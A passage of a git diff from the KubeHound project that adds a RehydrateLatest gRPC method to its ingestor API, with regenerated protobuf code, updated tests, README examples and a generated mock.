[runID:%s]", ErrCurrentlyIngesting, runID) + } + + // Locking the current runID + g.runIDs.Store(runID, true) + + return nil +} + +// Delocking the runID +func (g *IngestorAPI) unlockRunID(runID string) { + g.runIDs.Delete(runID) +} diff --git a/pkg/ingestor/api/api_test.go b/pkg/ingestor/api/api_test.go index 99dafa793..d4fa6fe71 100644 --- a/pkg/ingestor/api/api_test.go +++ b/pkg/ingestor/api/api_test.go @@ -6,8 +6,8 @@ import ( "testing" "github.com/DataDog/KubeHound/pkg/config" + "github.com/DataDog/KubeHound/pkg/dump" mocksNotifier "github.com/DataDog/KubeHound/pkg/ingestor/notifier/mocks" - "github.com/DataDog/KubeHound/pkg/ingestor/puller/blob" mocksPuller "github.com/DataDog/KubeHound/pkg/ingestor/puller/mocks" "github.com/DataDog/KubeHound/pkg/kubehound/providers" mocksCache "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache/mocks" @@ -94,20 +94,20 @@ func TestIngestorAPI_Ingest(t *testing.T) { wantErr bool mock func(puller *mocksPuller.DataPuller, notifier *mocksNotifier.Notifier, cache *mocksCache.CacheProvider, store *mocksStore.Provider, graph *mocksGraph.Provider) }{ - { - name: "Pulling invalid bucket name", - fields: fields{ - cfg: config.MustLoadEmbedConfig(), - }, - args: args{ - clusterName: "test-cluster", - runID: "test-run-id", - }, - wantErr: true, - mock: func(puller *mocksPuller.DataPuller, notifier *mocksNotifier.Notifier, cache *mocksCache.CacheProvider, store *mocksStore.Provider, graph *mocksGraph.Provider) { - puller.On("Pull", mock.Anything, "test-cluster", "test-run-id").Return("", blob.ErrInvalidBucketName) - }, - }, + // { + // name: "Pulling invalid bucket name", + // fields: fields{ + // cfg: config.MustLoadEmbedConfig(), + // }, + // args: args{ + // clusterName: "test-cluster", + // runID: "test-run-id", + // }, + // wantErr: true, + // mock: func(puller *mocksPuller.DataPuller, notifier *mocksNotifier.Notifier, cache *mocksCache.CacheProvider, store *mocksStore.Provider, graph *mocksGraph.Provider) { + // puller.On("Pull", mock.Anything, "test-cluster", "test-run-id").Return("", blob.ErrInvalidBucketName) + // }, + // }, // // TODO: find a better way to test this // // The mock here would be very fragile and annoying to use: it depends on ~all the mocks of KH. // // (we need to mock all the datastore, the writers, the graph builder...) @@ -133,7 +133,6 @@ func TestIngestorAPI_Ingest(t *testing.T) { // }, } for _, tt := range tests { - tt := tt mt.Run(tt.name, func(mt *mtest.T) { mt.Parallel() mockedPuller := mocksPuller.NewDataPuller(t) @@ -151,19 +150,28 @@ func TestIngestorAPI_Ingest(t *testing.T) { g := NewIngestorAPI(tt.fields.cfg, mockedPuller, mockedNotifier, mockedProvider) noPreviousScan(mt, g) tt.mock(mockedPuller, mockedNotifier, mockedCache, mockedStoreDB, mockedGraphDB) - if err := g.Ingest(context.TODO(), tt.args.clusterName, tt.args.runID); (err != nil) != tt.wantErr { + + // Construct dump result path + dumpResult, err := dump.NewDumpResult(tt.args.clusterName, tt.args.runID, true) + if err != nil { + t.Errorf("dump.NewDumpResult() error = %v, wantErr %v", err, tt.wantErr) + + return + } + dumpResultPath := dumpResult.GetFullPath() + + if err := g.Ingest(context.TODO(), dumpResultPath); (err != nil) != tt.wantErr { t.Errorf("IngestorAPI.Ingest() error = %v, wantErr %v", err, tt.wantErr) } }) } } -func TestIngestorAPI_isAlreadyIngested(t *testing.T) { +func TestIngestorAPI_isAlreadyIngestedInDB(t *testing.T) { t.Parallel() mt := mtest.New(t, mtest.NewOptions().ClientType(mtest.Mock)) ctx := context.TODO() - mockStoreProvider := mocksStore.NewProvider(t) type fields struct { providers *providers.ProvidersFactoryConfig @@ -186,7 +194,7 @@ func TestIngestorAPI_isAlreadyIngested(t *testing.T) { fields: fields{ mock: mt, providers: &providers.ProvidersFactoryConfig{ - StoreProvider: mockStoreProvider, + StoreProvider: mocksStore.NewProvider(t), }, }, args: args{ @@ -202,7 +210,7 @@ func TestIngestorAPI_isAlreadyIngested(t *testing.T) { fields: fields{ mock: mt, providers: &providers.ProvidersFactoryConfig{ - StoreProvider: mockStoreProvider, + StoreProvider: mocksStore.NewProvider(t), }, }, args: args{ @@ -215,7 +223,6 @@ func TestIngestorAPI_isAlreadyIngested(t *testing.T) { }, } for _, tt := range tests { - tt := tt mt.Run(tt.name, func(mt *mtest.T) { mt.Parallel() g := &IngestorAPI{ @@ -223,7 +230,7 @@ func TestIngestorAPI_isAlreadyIngested(t *testing.T) { } tt.testfct(mt, g) - alreadyIngested, err := g.isAlreadyIngested(ctx, tt.args.clusterName, tt.args.runID) + alreadyIngested, err := g.isAlreadyIngestedInDB(ctx, tt.args.clusterName, tt.args.runID) if (err != nil) != tt.wantErr { t.Errorf("%s - IngestorAPI.checkPreviousRun() error = %d, wantErr %v", tt.name, err, tt.wantErr) } diff --git a/pkg/ingestor/api/grpc/README.md b/pkg/ingestor/api/grpc/README.md index 8708cc0dd..a353493db 100644 --- a/pkg/ingestor/api/grpc/README.md +++ b/pkg/ingestor/api/grpc/README.md @@ -5,4 +5,9 @@ You can trigger a gRPC call by doing this: ```bash grpcurl -plaintext -format text -d 'cluster_name: "test", run_id: "id"' 127.0.0.1:9000 grpc.API.Ingest +``` + +Testing rehydrating of all latest scans: +```bash +grpcurl -plaintext -format text 127.0.0.1:9000 grpc.API.RehydrateLatest ``` \ No newline at end of file diff --git a/pkg/ingestor/api/grpc/api.proto b/pkg/ingestor/api/grpc/api.proto index 713a81113..f456f5a45 100644 --- a/pkg/ingestor/api/grpc/api.proto +++ b/pkg/ingestor/api/grpc/api.proto @@ -1,14 +1,28 @@ syntax = "proto3"; +import "google/protobuf/timestamp.proto"; + package grpc; +option go_package = "./grpc"; message IngestRequest { string run_id = 1; string cluster_name = 2; } - message IngestResponse {} +message RehydrateLatestRequest {} +message IngestedCluster { + string cluster_name = 1; + string run_id = 2; + google.protobuf.Timestamp date = 3 ; +} +message RehydrateLatestResponse { + repeated IngestedCluster ingested_cluster = 1; +} + + service API { rpc Ingest (IngestRequest) returns (IngestResponse); + rpc RehydrateLatest (RehydrateLatestRequest) returns (RehydrateLatestResponse); } \ No newline at end of file diff --git a/pkg/ingestor/api/grpc/grpc.go b/pkg/ingestor/api/grpc/grpc.go index 049184131..910e0aa7d 100644 --- a/pkg/ingestor/api/grpc/grpc.go +++ b/pkg/ingestor/api/grpc/grpc.go @@ -4,6 +4,7 @@ import ( "context" "net" + "github.com/DataDog/KubeHound/pkg/dump" "github.com/DataDog/KubeHound/pkg/ingestor/api" pb "github.com/DataDog/KubeHound/pkg/ingestor/api/grpc/pb" "github.com/DataDog/KubeHound/pkg/telemetry/log" @@ -14,6 +15,10 @@ import ( "google.golang.org/grpc/reflection" ) +// On macOS you need to install protobuf (`brew install protobuf`) +// Need to install: go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@latest +//go:generate protoc --go_out=./pb --go_opt=paths=source_relative --go-grpc_out=./pb --go-grpc_opt=paths=source_relative ./api.proto + // server is used to implement the GRPC api type server struct { // grpc related embeds @@ -28,9 +33,17 @@ type server struct { // Ingest is just a GRPC wrapper around the Ingest method from the API package func (s *server) Ingest(ctx context.Context, in *pb.IngestRequest) (*pb.IngestResponse, error) { - err := s.api.Ingest(ctx, in.GetClusterName(), in.GetRunId()) + l := log.Logger(ctx) + // Rebuilding the path for the dump archive file + dumpResult, err := dump.NewDumpResult(in.GetClusterName(), in.GetRunId(), true) + if err != nil { + return nil, err + } + key := dumpResult.GetFullPath() + + err = s.api.Ingest(ctx, key) if err != nil { - log.I.Errorf("Ingest failed: %v", err) + l.Error("Ingest failed", log.ErrorField(err)) return nil, err } @@ -38,9 +51,25 @@ func (s *server) Ingest(ctx context.Context, in *pb.IngestRequest) (*pb.IngestRe return &pb.IngestResponse{}, nil } +// RehydrateLatest is just a GRPC wrapper around the RehydrateLatest method from the API package +func (s *server) RehydrateLatest(ctx context.Context, in *pb.RehydrateLatestRequest) (*pb.RehydrateLatestResponse, error) { + l := log.Logger(ctx) + res, err := s.api.RehydrateLatest(ctx) + if err != nil { + l.Error("Ingest failed", log.ErrorField(err)) + + return nil, err + } + + return &pb.RehydrateLatestResponse{ + IngestedCluster: res, + }, nil +} + // Listen starts the GRPC server with the generic api implementation // It uses the config from the passed API for address and ports func Listen(ctx context.Context, api *api.IngestorAPI) error { + l := log.Logger(ctx) lis, err := net.Listen("tcp", api.Cfg.Ingestor.API.Endpoint) if err != nil { return err @@ -57,7 +86,7 @@ func Listen(ctx context.Context, api *api.IngestorAPI) error { pb.RegisterAPIServer(s, &server{ api: api, }) - log.I.Infof("server listening at %v", lis.Addr()) + l.Infof("server listening at %v", lis.Addr()) err = s.Serve(lis) if err != nil { return err diff --git a/pkg/ingestor/api/grpc/pb/api.pb.go b/pkg/ingestor/api/grpc/pb/api.pb.go index 7059176cb..3cd0386e8 100644 --- a/pkg/ingestor/api/grpc/pb/api.pb.go +++ b/pkg/ingestor/api/grpc/pb/api.pb.go @@ -1,16 +1,18 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.25.0-devel -// protoc v3.14.0 +// protoc-gen-go v1.34.2 +// protoc v5.27.1 // source: api.proto package grpc import ( - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" + + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + timestamppb "google.golang.org/protobuf/types/known/timestamppb" ) const ( @@ -113,20 +115,191 @@ func (*IngestResponse) Descriptor() ([]byte, []int) { return file_api_proto_rawDescGZIP(), []int{1} } +type RehydrateLatestRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *RehydrateLatestRequest) Reset() { + *x = RehydrateLatestRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_api_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *RehydrateLatestRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*RehydrateLatestRequest) ProtoMessage() {} + +func (x *RehydrateLatestRequest) ProtoReflect() protoreflect.Message { + mi := &file_api_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use RehydrateLatestRequest.ProtoReflect.Descriptor instead. +func (*RehydrateLatestRequest) Descriptor() ([]byte, []int) { + return file_api_proto_rawDescGZIP(), []int{2} +} + +type IngestedCluster struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + ClusterName string `protobuf:"bytes,1,opt,name=cluster_name,json=clusterName,proto3" json:"cluster_name,omitempty"` + Key string `protobuf:"bytes,2,opt,name=run_id,json=runId,proto3" json:"run_id,omitempty"` + Date *timestamppb.Timestamp `protobuf:"bytes,3,opt,name=date,proto3" json:"date,omitempty"` +} + +func (x *IngestedCluster) Reset() { + *x = IngestedCluster{} + if protoimpl.UnsafeEnabled { + mi := &file_api_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *IngestedCluster) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*IngestedCluster) ProtoMessage() {} + +func (x *IngestedCluster) ProtoReflect() protoreflect.Message { + mi := &file_api_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use IngestedCluster.ProtoReflect.Descriptor instead. +func (*IngestedCluster) Descriptor() ([]byte, []int) { + return file_api_proto_rawDescGZIP(), []int{3} +} + +func (x *IngestedCluster) GetClusterName() string { + if x != nil { + return x.ClusterName + } + return "" +} + +func (x *IngestedCluster) GetRunId() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *IngestedCluster) GetDate() *timestamppb.Timestamp { + if x != nil { + return x.Date + } + return nil +} + +type RehydrateLatestResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + IngestedCluster []*IngestedCluster `protobuf:"bytes,1,rep,name=ingested_cluster,json=ingestedCluster,proto3" json:"ingested_cluster,omitempty"` +} + +func (x *RehydrateLatestResponse) Reset() { + *x = RehydrateLatestResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_api_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *RehydrateLatestResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*RehydrateLatestResponse) ProtoMessage() {} + +func (x *RehydrateLatestResponse) ProtoReflect() protoreflect.Message { + mi := &file_api_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use RehydrateLatestResponse.ProtoReflect.Descriptor instead. +func (*RehydrateLatestResponse) Descriptor() ([]byte, []int) { + return file_api_proto_rawDescGZIP(), []int{4} +} + +func (x *RehydrateLatestResponse) GetIngestedCluster() []*IngestedCluster { + if x != nil { + return x.IngestedCluster + } + return nil +} + var File_api_proto protoreflect.FileDescriptor var file_api_proto_rawDesc = []byte{ 0x0a, 0x09, 0x61, 0x70, 0x69, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x04, 0x67, 0x72, 0x70, - 0x63, 0x22, 0x49, 0x0a, 0x0d, 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x15, 0x0a, 0x06, 0x72, 0x75, 0x6e, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x05, 0x72, 0x75, 0x6e, 0x49, 0x64, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6c, 0x75, - 0x73, 0x74, 0x65, 0x72, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x63, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x10, 0x0a, 0x0e, - 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0x3a, - 0x0a, 0x03, 0x41, 0x50, 0x49, 0x12, 0x33, 0x0a, 0x06, 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x12, - 0x13, 0x2e, 0x67, 0x72, 0x70, 0x63, 0x2e, 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x67, 0x72, 0x70, 0x63, 0x2e, 0x49, 0x6e, 0x67, 0x65, - 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x63, 0x1a, 0x1f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2f, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x22, 0x49, 0x0a, 0x0d, 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x15, 0x0a, 0x06, 0x72, 0x75, 0x6e, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x72, 0x75, 0x6e, 0x49, 0x64, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6c, + 0x75, 0x73, 0x74, 0x65, 0x72, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x63, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x10, 0x0a, + 0x0e, 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x18, 0x0a, 0x16, 0x52, 0x65, 0x68, 0x79, 0x64, 0x72, 0x61, 0x74, 0x65, 0x4c, 0x61, 0x74, 0x65, + 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x0f, 0x49, 0x6e, 0x67, + 0x65, 0x73, 0x74, 0x65, 0x64, 0x43, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x12, 0x21, 0x0a, 0x0c, + 0x63, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x15, 0x0a, 0x06, 0x72, 0x75, 0x6e, 0x5f, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x72, 0x75, 0x6e, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x04, 0x64, 0x61, 0x74, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, + 0x52, 0x04, 0x64, 0x61, 0x74, 0x65, 0x22, 0x5b, 0x0a, 0x17, 0x52, 0x65, 0x68, 0x79, 0x64, 0x72, + 0x61, 0x74, 0x65, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x40, 0x0a, 0x10, 0x69, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x65, 0x64, 0x5f, 0x63, 0x6c, + 0x75, 0x73, 0x74, 0x65, 0x72, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x67, 0x72, + 0x70, 0x63, 0x2e, 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x65, 0x64, 0x43, 0x6c, 0x75, 0x73, 0x74, + 0x65, 0x72, 0x52, 0x0f, 0x69, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x65, 0x64, 0x43, 0x6c, 0x75, 0x73, + 0x74, 0x65, 0x72, 0x32, 0x8a, 0x01, 0x0a, 0x03, 0x41, 0x50, 0x49, 0x12, 0x33, 0x0a, 0x06, 0x49, + 0x6e, 0x67, 0x65, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x67, 0x72, 0x70, 0x63, 0x2e, 0x49, 0x6e, 0x67, + 0x65, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x67, 0x72, 0x70, + 0x63, 0x2e, 0x49, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x4e, 0x0a, 0x0f, 0x52, 0x65, 0x68, 0x79, 0x64, 0x72, 0x61, 0x74, 0x65, 0x4c, 0x61, 0x74, + 0x65, 0x73, 0x74, 0x12, 0x1c, 0x2e, 0x67, 0x72, 0x70, 0x63, 0x2e, 0x52, 0x65, 0x68, 0x79, 0x64, + 0x72, 0x61, 0x74, 0x65, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1d, 0x2e, 0x67, 0x72, 0x70, 0x63, 0x2e, 0x52, 0x65, 0x68, 0x79, 0x64, 0x72, 0x61, + 0x74, 0x65, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x67, 0x72, 0x70, 0x63, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } @@ -142,19 +315,27 @@ func file_api_proto_rawDescGZIP() []byte { return file_api_proto_rawDescData } -var file_api_proto_msgTypes = make([]protoimpl.MessageInfo, 2) -var file_api_proto_goTypes = []interface{}{ - (*IngestRequest)(nil), // 0: grpc.IngestRequest - (*IngestResponse)(nil), // 1: grpc.IngestResponse +var file_api_proto_msgTypes = make([]protoimpl.MessageInfo, 5) +var file_api_proto_goTypes = []any{ + (*IngestRequest)(nil), // 0: grpc.IngestRequest + (*IngestResponse)(nil), // 1: grpc.IngestResponse + (*RehydrateLatestRequest)(nil), // 2: grpc.RehydrateLatestRequest + (*IngestedCluster)(nil), // 3: grpc.IngestedCluster + (*RehydrateLatestResponse)(nil), // 4: grpc.RehydrateLatestResponse + (*timestamppb.Timestamp)(nil), // 5: google.protobuf.Timestamp } var file_api_proto_depIdxs = []int32{ - 0, // 0: grpc.API.Ingest:input_type -> grpc.IngestRequest - 1, // 1: grpc.API.Ingest:output_type -> grpc.IngestResponse - 1, // [1:2] is the sub-list for method output_type - 0, // [0:1] is the sub-list for method input_type - 0, // [0:0] is the sub-list for extension type_name - 0, // [0:0] is the sub-list for extension extendee - 0, // [0:0] is the sub-list for field type_name + 5, // 0: grpc.IngestedCluster.date:type_name -> google.protobuf.Timestamp + 3, // 1: grpc.RehydrateLatestResponse.ingested_cluster:type_name -> grpc.IngestedCluster + 0, // 2: grpc.API.Ingest:input_type -> grpc.IngestRequest + 2, // 3: grpc.API.RehydrateLatest:input_type -> grpc.RehydrateLatestRequest + 1, // 4: grpc.API.Ingest:output_type -> grpc.IngestResponse + 4, // 5: grpc.API.RehydrateLatest:output_type -> grpc.RehydrateLatestResponse + 4, // [4:6] is the sub-list for method output_type + 2, // [2:4] is the sub-list for method input_type + 2, // [2:2] is the sub-list for extension type_name + 2, // [2:2] is the sub-list for extension extendee + 0, // [0:2] is the sub-list for field type_name } func init() { file_api_proto_init() } @@ -163,7 +344,7 @@ func file_api_proto_init() { return } if !protoimpl.UnsafeEnabled { - file_api_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + file_api_proto_msgTypes[0].Exporter = func(v any, i int) any { switch v := v.(*IngestRequest); i { case 0: return &v.state @@ -175,7 +356,7 @@ func file_api_proto_init() { return nil } } - file_api_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + file_api_proto_msgTypes[1].Exporter = func(v any, i int) any { switch v := v.(*IngestResponse); i { case 0: return &v.state @@ -187,6 +368,42 @@ func file_api_proto_init() { return nil } } + file_api_proto_msgTypes[2].Exporter = func(v any, i int) any { + switch v := v.(*RehydrateLatestRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_api_proto_msgTypes[3].Exporter = func(v any, i int) any { + switch v := v.(*IngestedCluster); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_api_proto_msgTypes[4].Exporter = func(v any, i int) any { + switch v := v.(*RehydrateLatestResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } } type x struct{} out := protoimpl.TypeBuilder{ @@ -194,7 +411,7 @@ func file_api_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_api_proto_rawDesc, NumEnums: 0, - NumMessages: 2, + NumMessages: 5, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/ingestor/api/grpc/pb/api_grpc.pb.go b/pkg/ingestor/api/grpc/pb/api_grpc.pb.go index b0c227a15..7f426be82 100644 --- a/pkg/ingestor/api/grpc/pb/api_grpc.pb.go +++ b/pkg/ingestor/api/grpc/pb/api_grpc.pb.go @@ -1,9 +1,14 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. +// versions: +// - protoc-gen-go-grpc v1.4.0 +// - protoc v5.27.1 +// source: api.proto package grpc import ( context "context" + grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" @@ -11,14 +16,20 @@ import ( // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. -// Requires gRPC-Go v1.32.0 or later. -const _ = grpc.SupportPackageIsVersion7 +// Requires gRPC-Go v1.62.0 or later. +const _ = grpc.SupportPackageIsVersion8 + +const ( + API_Ingest_FullMethodName = "/grpc.API/Ingest" + API_RehydrateLatest_FullMethodName = "/grpc.API/RehydrateLatest" +) // APIClient is the client API for API service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type APIClient interface { Ingest(ctx context.Context, in *IngestRequest, opts ...grpc.CallOption) (*IngestResponse, error) + RehydrateLatest(ctx context.Context, in *RehydrateLatestRequest, opts ...grpc.CallOption) (*RehydrateLatestResponse, error) } type aPIClient struct { @@ -30,8 +41,19 @@ func NewAPIClient(cc grpc.ClientConnInterface) APIClient { } func (c *aPIClient) Ingest(ctx context.Context, in *IngestRequest, opts ...grpc.CallOption) (*IngestResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(IngestResponse) - err := c.cc.Invoke(ctx, "/grpc.API/Ingest", in, out, opts...) + err := c.cc.Invoke(ctx, API_Ingest_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *aPIClient) RehydrateLatest(ctx context.Context, in *RehydrateLatestRequest, opts ...grpc.CallOption) (*RehydrateLatestResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(RehydrateLatestResponse) + err := c.cc.Invoke(ctx, API_RehydrateLatest_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } @@ -43,6 +65,7 @@ func (c *aPIClient) Ingest(ctx context.Context, in *IngestRequest, opts ...grpc. // for forward compatibility type APIServer interface { Ingest(context.Context, *IngestRequest) (*IngestResponse, error) + RehydrateLatest(context.Context, *RehydrateLatestRequest) (*RehydrateLatestResponse, error) mustEmbedUnimplementedAPIServer() } @@ -53,6 +76,9 @@ type UnimplementedAPIServer struct { func (UnimplementedAPIServer) Ingest(context.Context, *IngestRequest) (*IngestResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Ingest not implemented") } +func (UnimplementedAPIServer) RehydrateLatest(context.Context, *RehydrateLatestRequest) (*RehydrateLatestResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method RehydrateLatest not implemented") +} func (UnimplementedAPIServer) mustEmbedUnimplementedAPIServer() {} // UnsafeAPIServer may be embedded to opt out of forward compatibility for this service. @@ -76,7 +102,7 @@ func _API_Ingest_Handler(srv interface{}, ctx context.Context, dec func(interfac } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/grpc.API/Ingest", + FullMethod: API_Ingest_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(APIServer).Ingest(ctx, req.(*IngestRequest)) @@ -84,6 +110,24 @@ func _API_Ingest_Handler(srv interface{}, ctx context.Context, dec func(interfac return interceptor(ctx, in, info, handler) } +func _API_RehydrateLatest_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(RehydrateLatestRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(APIServer).RehydrateLatest(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: API_RehydrateLatest_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(APIServer).RehydrateLatest(ctx, req.(*RehydrateLatestRequest)) + } + return interceptor(ctx, in, info, handler) +} + // API_ServiceDesc is the grpc.ServiceDesc for API service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -95,6 +139,10 @@ var API_ServiceDesc = grpc.ServiceDesc{ MethodName: "Ingest", Handler: _API_Ingest_Handler, }, + { + MethodName: "RehydrateLatest", + Handler: _API_RehydrateLatest_Handler, + }, }, Streams: []grpc.StreamDesc{}, Metadata: "api.proto", diff --git a/pkg/ingestor/api/mocks/mock_api.go b/pkg/ingestor/api/mocks/mock_api.go new file mode 100644 index 000000000..7f5715935 --- /dev/null +++ b/pkg/ingestor/api/mocks/mock_api.go @@ -0,0 +1,179 @@ +// Code generated by mockery v2.20.0. DO NOT EDIT. + +package mocks + +import ( + context "context" + + mock "github.com/stretchr/testify/mock" +) + +// API is an autogenerated mock type for the API type +type API struct { + mock.Mock +} + +type API_Expecter struct { + mock *mock.Mock +} + +func (_m *API) EXPECT() *API_Expecter { + return &API_Expecter{mock: &_m.Mock} 